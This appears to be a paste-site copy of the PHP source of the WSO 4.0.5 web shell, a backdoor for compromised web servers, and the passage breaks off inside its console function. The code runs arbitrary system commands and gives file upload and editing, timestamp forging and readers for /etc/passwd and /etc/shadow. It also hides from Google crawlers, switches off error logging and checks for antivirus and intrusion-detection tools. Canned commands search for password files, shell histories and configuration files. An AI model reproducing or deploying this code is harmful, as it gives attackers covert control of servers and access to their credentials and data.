· 8 years ago · Feb 08, 2018, 01:14 AM
1<?php
2/* WSO 4.0.5 (Web Shell by HARD _LINUX) */
3$auth_pass = "21232f297a57a5a743894a0e4a801fc3"; //admin
4$color = "#fff";
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '4.0.5');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25
26
27if( strtolower( substr(PHP_OS,0,3) ) == "win" )
28 $os = 'win';
29else
30 $os = 'nix';
31$safe_mode = @ini_get('safe_mode');
32$disable_functions = @ini_get('disable_functions');
33$home_cwd = @getcwd();
34if( isset( $_POST['c'] ) )
35 @chdir($_POST['c']);
36$cwd = @getcwd();
37if( $os == 'win') {
38 $home_cwd = str_replace("\\", "/", $home_cwd);
39 $cwd = str_replace("\\", "/", $cwd);
40}
41if( $cwd[strlen($cwd)-1] != '/' )
42 $cwd .= '/';
43function printHeader() {
44 if(empty($_POST['charset']))
45 $_POST['charset'] = "UTF-8";
46 global $color;
47 ?>
48<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
49<style>
50 body {background-color:#000;color:#e1e1e1;}
51 body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
52 table.info {color:#C3C3C3;background-color:#000;}
53 span,h1,a {color:<?=$color?> !important;}
54 span {font-weight:bolder;}
55 h1 {border-left:5px solid teal;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
56 div.content {padding:5px;margin-left:5px;background-color:#000;}
57 a {text-decoration:none;}
58 a:hover {text-decoration:underline;}
59 .ml1 {border:1px solid #444;padding:5px;margin:0;overflow:auto;}
60 .bigarea {width:100%;height:250px; }
61 input, textarea, select {margin:0;color:#fff;background-color:#444;border:1px solid #000; font:9pt Courier New;}
62 form {margin:0px;}
63 #toolsTbl {text-align:center;}
64 .toolsInp {width:300px}
65 .main th {text-align:left;background-color:#000;}
66 .main tr:hover{background-color:#5e5e5e}
67 .main td, th{vertical-align:middle}
68 .l1 {background-color:#444}
69 pre {font:9pt Courier New;}
70</style>
71<script>
72 function set(a,c,p1,p2,p3,charset) {
73 if(a != null)document.mf.a.value=a;
74 if(c != null)document.mf.c.value=c;
75 if(p1 != null)document.mf.p1.value=p1;
76 if(p2 != null)document.mf.p2.value=p2;
77 if(p3 != null)document.mf.p3.value=p3;
78 if(charset != null)document.mf.charset.value=charset;
79 }
80 function g(a,c,p1,p2,p3,charset) {
81 set(a,c,p1,p2,p3,charset);
82 document.mf.submit();
83 }
84 function a(a,c,p1,p2,p3,charset) {
85 set(a,c,p1,p2,p3,charset);
86 var params = "ajax=true";
87 for(i=0;i<document.mf.elements.length;i++)
88 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
89 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
90 }
91 function sr(url, params) {
92 if (window.XMLHttpRequest) {
93 req = new XMLHttpRequest();
94 req.onreadystatechange = processReqChange;
95 req.open("POST", url, true);
96 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
97 req.send(params);
98 }
99 else if (window.ActiveXObject) {
100 req = new ActiveXObject("Microsoft.XMLHTTP");
101 if (req) {
102 req.onreadystatechange = processReqChange;
103 req.open("POST", url, true);
104 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
105 req.send(params);
106 }
107 }
108 }
109 function processReqChange() {
110 if( (req.readyState == 4) )
111 if(req.status == 200) {
112 //alert(req.responseText);
113 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
114 var arr=reg.exec(req.responseText);
115 eval(arr[2].substr(0, arr[1]));
116 }
117 else alert("Request error!");
118 }
119</script>
120<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
121<form method=post name=mf style='display:none;'>
122<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
123<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
124<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
125<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
126<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
127<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
128</form>
129<?php
130 $freeSpace = @diskfreespace($GLOBALS['cwd']);
131 $totalSpace = @disk_total_space($GLOBALS['cwd']);
132 $totalSpace = $totalSpace?$totalSpace:1;
133 $release = @php_uname('r');
134 $kernel = @php_uname('s');
135 $millink='http://www.exploit-db.com/search/?action=search&description=';
136 if( strpos('Linux', $kernel) !== false )
137 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
138 else
139 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
140 if(!function_exists('posix_getegid')) {
141 $user = @get_current_user();
142 $uid = @getmyuid();
143 $gid = @getmygid();
144 $group = "?";
145 } else {
146 $uid = @posix_getpwuid(@posix_geteuid());
147 $gid = @posix_getgrgid(@posix_getegid());
148 $user = $uid['name'];
149 $uid = $uid['uid'];
150 $group = $gid['name'];
151 $gid = $gid['gid'];
152 }
153 $cwd_links = '';
154 $path = explode("/", $GLOBALS['cwd']);
155 $n=count($path);
156 for($i=0;$i<$n-1;$i++) {
157 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
158 for($j=0;$j<=$i;$j++)
159 $cwd_links .= $path[$j].'/';
160 $cwd_links .= "\")'>".$path[$i]."/</a>";
161 }
162 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
163 $opt_charsets = '';
164 foreach($charsets as $item)
165 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
166
167 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Port Scanner'=>'PortScanner','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
168 if(!empty($GLOBALS['auth_pass']))
169 $m['Logout'] = 'Logout';
170 $m['Self remove'] = 'SelfRemove';
171 $menu = '';
172 foreach($m as $k => $v)
173 $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
174 $drives = "";
175 if ($GLOBALS['os'] == 'win') {
176 foreach( range('a','z') as $drive )
177 if (is_dir($drive.':\\'))
178 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
179 }
180 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
181 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00A8A8><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
182 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
183 '<table cellpadding=3 cellspacing=0 width=100% style="background-color:teal;"><tr>'.$menu.'</tr></table><div>';
184}
185function printFooter() {
186 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=teal>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
187?>
188</div>
189<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%">
190 <tr>
191 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
192 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
193 </tr>
194 <tr>
195 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
196 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
197 </tr>
198 <tr>
199 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
200 <td><form method='post' ENCTYPE='multipart/form-data'>
201 <input type=hidden name=a value='FilesMAn'>
202 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
203 <input type=hidden name=p1 value='uploadFile'>
204 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
205 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
206 </tr>
207
208</table>
209</div>
210</body></html>
211<?php
212}
213if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
214if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
215function ex($in) {
216 $out = '';
217 if(function_exists('exec')) {
218 @exec($in,$out);
219 $out = @join("\n",$out);
220 }elseif(function_exists('passthru')) {
221 ob_start();
222 @passthru($in);
223 $out = ob_get_clean();
224 }elseif(function_exists('system')) {
225 ob_start();
226 @system($in);
227 $out = ob_get_clean();
228 }elseif(function_exists('shell_exec')) {
229 $out = shell_exec($in);
230 }elseif(is_resource($f = @popen($in,"r"))) {
231 $out = "";
232 while(!@feof($f))
233 $out .= fread($f,1024);
234 pclose($f);
235 }else return "↳ Unable to execute command\n";
236 return ($out==''?"↳ Query did not return anything\n":$out);
237}
238function viewSize($s) {
239 if($s >= 1073741824)
240 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
241 elseif($s >= 1048576)
242 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
243 elseif($s >= 1024)
244 return sprintf('%1.2f', $s / 1024 ) . ' KB';
245 else
246 return $s . ' B';
247}
248function perms($p) {
249 if (($p & 0xC000) == 0xC000)$i = 's';
250 elseif (($p & 0xA000) == 0xA000)$i = 'l';
251 elseif (($p & 0x8000) == 0x8000)$i = '-';
252 elseif (($p & 0x6000) == 0x6000)$i = 'b';
253 elseif (($p & 0x4000) == 0x4000)$i = 'd';
254 elseif (($p & 0x2000) == 0x2000)$i = 'c';
255 elseif (($p & 0x1000) == 0x1000)$i = 'p';
256 else $i = 'u';
257 $i .= (($p & 0x0100) ? 'r' : '-');
258 $i .= (($p & 0x0080) ? 'w' : '-');
259 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
260 $i .= (($p & 0x0020) ? 'r' : '-');
261 $i .= (($p & 0x0010) ? 'w' : '-');
262 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
263 $i .= (($p & 0x0004) ? 'r' : '-');
264 $i .= (($p & 0x0002) ? 'w' : '-');
265 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
266 return $i;
267}
268function viewPermsColor($f) {
269 if (!@is_readable($f))
270 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
271 elseif (!@is_writable($f))
272 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
273 else
274 return '<font color=#00A8A8><b>'.perms(@fileperms($f)).'</b></font>';
275}
276if(!function_exists("scandir")) {
277 function scandir($dir) {
278 $dh = opendir($dir);
279 while (false !== ($filename = readdir($dh))) {
280 $files[] = $filename;
281 }
282 return $files;
283 }
284}
285function which($p) {
286 $path = ex('which '.$p);
287 if(!empty($path))
288 return $path;
289 return false;
290}
291// Sec. Info go --------------------
292function actionSecInfo() {
293 printHeader();
294 echo '<h1>Server security information</h1><div class=content>';
295 function showSecParam($n, $v) {
296 $v = trim($v);
297 if($v) {
298 echo '<span>'.$n.': </span>';
299 if(strpos($v, "\n") === false)
300 echo $v.'<br>';
301 else
302 echo '<pre class=ml1>'.$v.'</pre>';
303 }
304 }
305
306 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
307 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
308 showSecParam('Open base dir', @ini_get('open_basedir'));
309 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
310 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
311 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
312 $temp=array();
313 if(function_exists('mysql_get_client_info'))
314 $temp[] = "MySql (".mysql_get_client_info().")";
315 if(function_exists('mssql_connect'))
316 $temp[] = "MSSQL";
317 if(function_exists('pg_connect'))
318 $temp[] = "PostgreSQL";
319 if(function_exists('oci_connect'))
320 $temp[] = "Oracle";
321 showSecParam('Supported databases', implode(', ', $temp));
322 echo '<br>';
323
324 if( $GLOBALS['os'] == 'nix' ) {
325 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
326 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
327 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
328 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
329 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
330 showSecParam('OS version', @file_get_contents('/proc/version'));
331 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
332 if(!$GLOBALS['safe_mode']) {
333 echo '<br>';
334 $temp=array();
335 foreach ($userful as $item)
336 if(which($item)){$temp[]=$item;}
337 showSecParam('Userful', implode(', ',$temp));
338 $temp=array();
339 foreach ($danger as $item)
340 if(which($item)){$temp[]=$item;}
341 showSecParam('Danger', implode(', ',$temp));
342 $temp=array();
343 foreach ($downloaders as $item)
344 if(which($item)){$temp[]=$item;}
345 showSecParam('Downloaders', implode(', ',$temp));
346 echo '<br/>';
347 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
348 showSecParam('HDD space', ex('df -h'));
349 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
350 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
351 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
352 $temp = "";
353 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
354 $uid = @posix_getpwuid($_POST['p2']);
355 if ($uid)
356 $temp .= join(':',$uid)."\n";
357 }
358 echo '<br/>';
359 showSecParam('Users', $temp);
360 }
361 }
362 } else {
363 showSecParam('OS Version',ex('ver'));
364 showSecParam('Account Settings',ex('net accounts'));
365 showSecParam('User Accounts',ex('net user'));
366 }
367 echo '</div>';
368 printFooter();
369}
370// Sec. Info end --------------------
371// File tools go -----------------------
372function actionFilesTools() {
373 if( isset($_POST['p1']) )
374 $_POST['p1'] = urldecode($_POST['p1']);
375 if(@$_POST['p2']=='download') {
376 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
377 ob_start("ob_gzhandler", 4096);
378 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
379 if (function_exists("mime_content_type")) {
380 $type = @mime_content_type($_POST['p1']);
381 header("Content-Type: ".$type);
382 }
383 $fp = @fopen($_POST['p1'], "r");
384 if($fp) {
385 while(!@feof($fp))
386 echo @fread($fp, 1024);
387 fclose($fp);
388 }
389 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
390 }
391 exit;
392 }
393 if( @$_POST['p2'] == 'mkfile' ) {
394 if(!file_exists($_POST['p1'])) {
395 $fp = @fopen($_POST['p1'], 'w');
396 if($fp) {
397 $_POST['p2'] = "edit";
398 fclose($fp);
399 }
400 }
401 }
402 printHeader();
403 echo '<h1>File tools</h1><div class=content>';
404 if( !file_exists(@$_POST['p1']) ) {
405 echo 'File not exists';
406 printFooter();
407 return;
408 }
409 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
410 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
411 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
412 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
413 if( empty($_POST['p2']) )
414 $_POST['p2'] = 'view';
415 if( is_file($_POST['p1']) )
416 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
417 else
418 $m = array('Chmod', 'Rename', 'Touch');
419 foreach($m as $v)
420 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
421 echo '<br><br>';
422 switch($_POST['p2']) {
423 case 'view':
424 echo '<pre class=ml1>';
425 $fp = @fopen($_POST['p1'], 'r');
426 if($fp) {
427 while( !@feof($fp) )
428 echo htmlspecialchars(@fread($fp, 1024));
429 @fclose($fp);
430 }
431 echo '</pre>';
432 break;
433 case 'highlight':
434 if( is_readable($_POST['p1']) ) {
435 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
436 $code = highlight_file($_POST['p1'],true);
437 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
438 }
439 break;
440 case 'chmod':
441 if( !empty($_POST['p3']) ) {
442 $perms = 0;
443 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
444 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
445 if(!@chmod($_POST['p1'], $perms))
446 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
447 else
448 die('<script>g(null,null,null,null,"")</script>');
449 }
450 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
451 break;
452 case 'edit':
453 if( !is_writable($_POST['p1'])) {
454 echo 'File isn\'t writeable';
455 break;
456 }
457 if( !empty($_POST['p3']) ) {
458 @file_put_contents($_POST['p1'],$_POST['p3']);
459 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
460 }
461 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
462 $fp = @fopen($_POST['p1'], 'r');
463 if($fp) {
464 while( !@feof($fp) )
465 echo htmlspecialchars(@fread($fp, 1024));
466 @fclose($fp);
467 }
468 echo '</textarea><input type=submit value=">>"></form>';
469 break;
470 case 'hexdump':
471 $c = @file_get_contents($_POST['p1']);
472 $n = 0;
473 $h = array('00000000<br>','','');
474 $len = strlen($c);
475 for ($i=0; $i<$len; ++$i) {
476 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
477 switch ( ord($c[$i]) ) {
478 case 0: $h[2] .= ' '; break;
479 case 9: $h[2] .= ' '; break;
480 case 10: $h[2] .= ' '; break;
481 case 13: $h[2] .= ' '; break;
482 default: $h[2] .= $c[$i]; break;
483 }
484 $n++;
485 if ($n == 32) {
486 $n = 0;
487 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
488 $h[1] .= '<br>';
489 $h[2] .= "\n";
490 }
491 }
492 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
493 break;
494 case 'rename':
495 if( !empty($_POST['p3']) ) {
496 if(!@rename($_POST['p1'], $_POST['p3']))
497 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
498 else
499 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
500 }
501 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
502 break;
503 case 'touch':
504 if( !empty($_POST['p3']) ) {
505 $time = strtotime($_POST['p3']);
506 if($time) {
507 if(@touch($_POST['p1'],$time,$time))
508 die('<script>g(null,null,null,null,"")</script>');
509 else {
510 echo 'Fail!<script>document.mf.p3.value="";</script>';
511 }
512 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
513 }
514 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
515 break;
516 case 'mkfile':
517
518 break;
519 }
520 echo '</div>';
521 printFooter();
522}
523// File tools end ----------------------
524// Console go --------------------
525if($os == 'win')
526 $aliases = array(
527 "List Directory" => "dir",
528 "Find index.php in current dir" => "dir /s /w /b index.php",
529 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
530 "Show active connections" => "netstat -an",
531 "Show running services" => "net start",
532 "User accounts" => "net user",
533 "Show computers" => "net view",
534 "ARP Table" => "arp -a",
535 "IP Configuration" => "ipconfig /all"
536 );
537else
538 $aliases = array(
539 "List dir" => "ls -la",
540 "list file attributes on a Linux second extended file system" => "lsattr -va",
541 "show opened ports" => "netstat -an | grep -i listen",
542 "process status" => "ps aux",
543 "Find" => "",
544 "find all suid files" => "find / -type f -perm -04000 -ls",
545 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
546 "find all sgid files" => "find / -type f -perm -02000 -ls",
547 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
548 "find config.inc.php files" => "find / -type f -name config.inc.php",
549 "find config* files" => "find / -type f -name \"config*\"",
550 "find config* files in current dir" => "find . -type f -name \"config*\"",
551 "find all writable folders and files" => "find / -perm -2 -ls",
552 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
553 "find all service.pwd files" => "find / -type f -name service.pwd",
554 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
555 "find all .htpasswd files" => "find / -type f -name .htpasswd",
556 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
557 "find all .bash_history files" => "find / -type f -name .bash_history",
558 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
559 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
560 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
561 "Locate" => "",
562 "locate httpd.conf files" => "locate httpd.conf",
563 "locate vhosts.conf files" => "locate vhosts.conf",
564 "locate proftpd.conf files" => "locate proftpd.conf",
565 "locate psybnc.conf files" => "locate psybnc.conf",
566 "locate my.conf files" => "locate my.conf",
567 "locate admin.php files" =>"locate admin.php",
568 "locate cfg.php files" => "locate cfg.php",
569 "locate conf.php files" => "locate conf.php",
570 "locate config.dat files" => "locate config.dat",
571 "locate config.php files" => "locate config.php",
572 "locate config.inc files" => "locate config.inc",
573 "locate config.inc.php" => "locate config.inc.php",
574 "locate config.default.php files" => "locate config.default.php",
575 "locate config* files " => "locate config",
576 "locate .conf files"=>"locate '.conf'",
577 "locate .pwd files" => "locate '.pwd'",
578 "locate .sql files" => "locate '.sql'",
579 "locate .htpasswd files" => "locate '.htpasswd'",
580 "locate .bash_history files" => "locate '.bash_history'",
581 "locate .mysql_history files" => "locate '.mysql_history'",
582 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
583 "locate backup files" => "locate backup",
584 "locate dump files" => "locate dump",
585 "locate priv files" => "locate priv"
586 );
587
588function actionConsole() {
589 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
590 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
591 $_POST['p1'] .= ' 2>&1';
592 } elseif(!empty($_POST['p1']))
593 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = 0;
594
595 if(isset($_POST['ajax'])) {
596 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
597 ob_start();
598 echo "document.cf.cmd.value='';\n";
599 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
600 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
601 if(@chdir($match[1])) {
602 $GLOBALS['cwd'] = @getcwd();
603 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
604 }
605 }
606 echo "document.cf.output.value+='".$temp."';";
607 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
608 $temp = ob_get_clean();
609 echo strlen($temp), "\n", $temp;
610 exit;
611 }
612 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
613 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
614 printHeader();
615echo "<script>
616if(window.Event) window.captureEvents(Event.KEYDOWN);
617var cmds = new Array('');
618var cur = 0;
619function kp(e) {
620 var n = (window.Event) ? e.which : e.keyCode;
621 if(n == 38) {
622 cur--;
623 if(cur>=0)
624 document.cf.cmd.value = cmds[cur];
625 else
626 cur++;
627 } else if(n == 40) {
628 cur++;
629 if(cur < cmds.length)
630 document.cf.cmd.value = cmds[cur];
631 else
632 cur--;
633 }
634}
635function add(cmd) {
636 cmds.pop();
637 cmds.push(cmd);
638 cmds.push('');
639 cur = cmds.length-1;
640}
641</script>";
642 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
643 foreach($GLOBALS['aliases'] as $n => $v) {
644 if($v == '') {
645 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
646 continue;
647 }
648 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
649 }
650
651 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}else{g(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
652 if(!empty($_POST['p1'])) {
653 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
654 }
655 echo '</textarea><table style="border:1px solid #000;background-color:#000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
656 echo '</form></div><script>document.cf.cmd.focus();</script>';
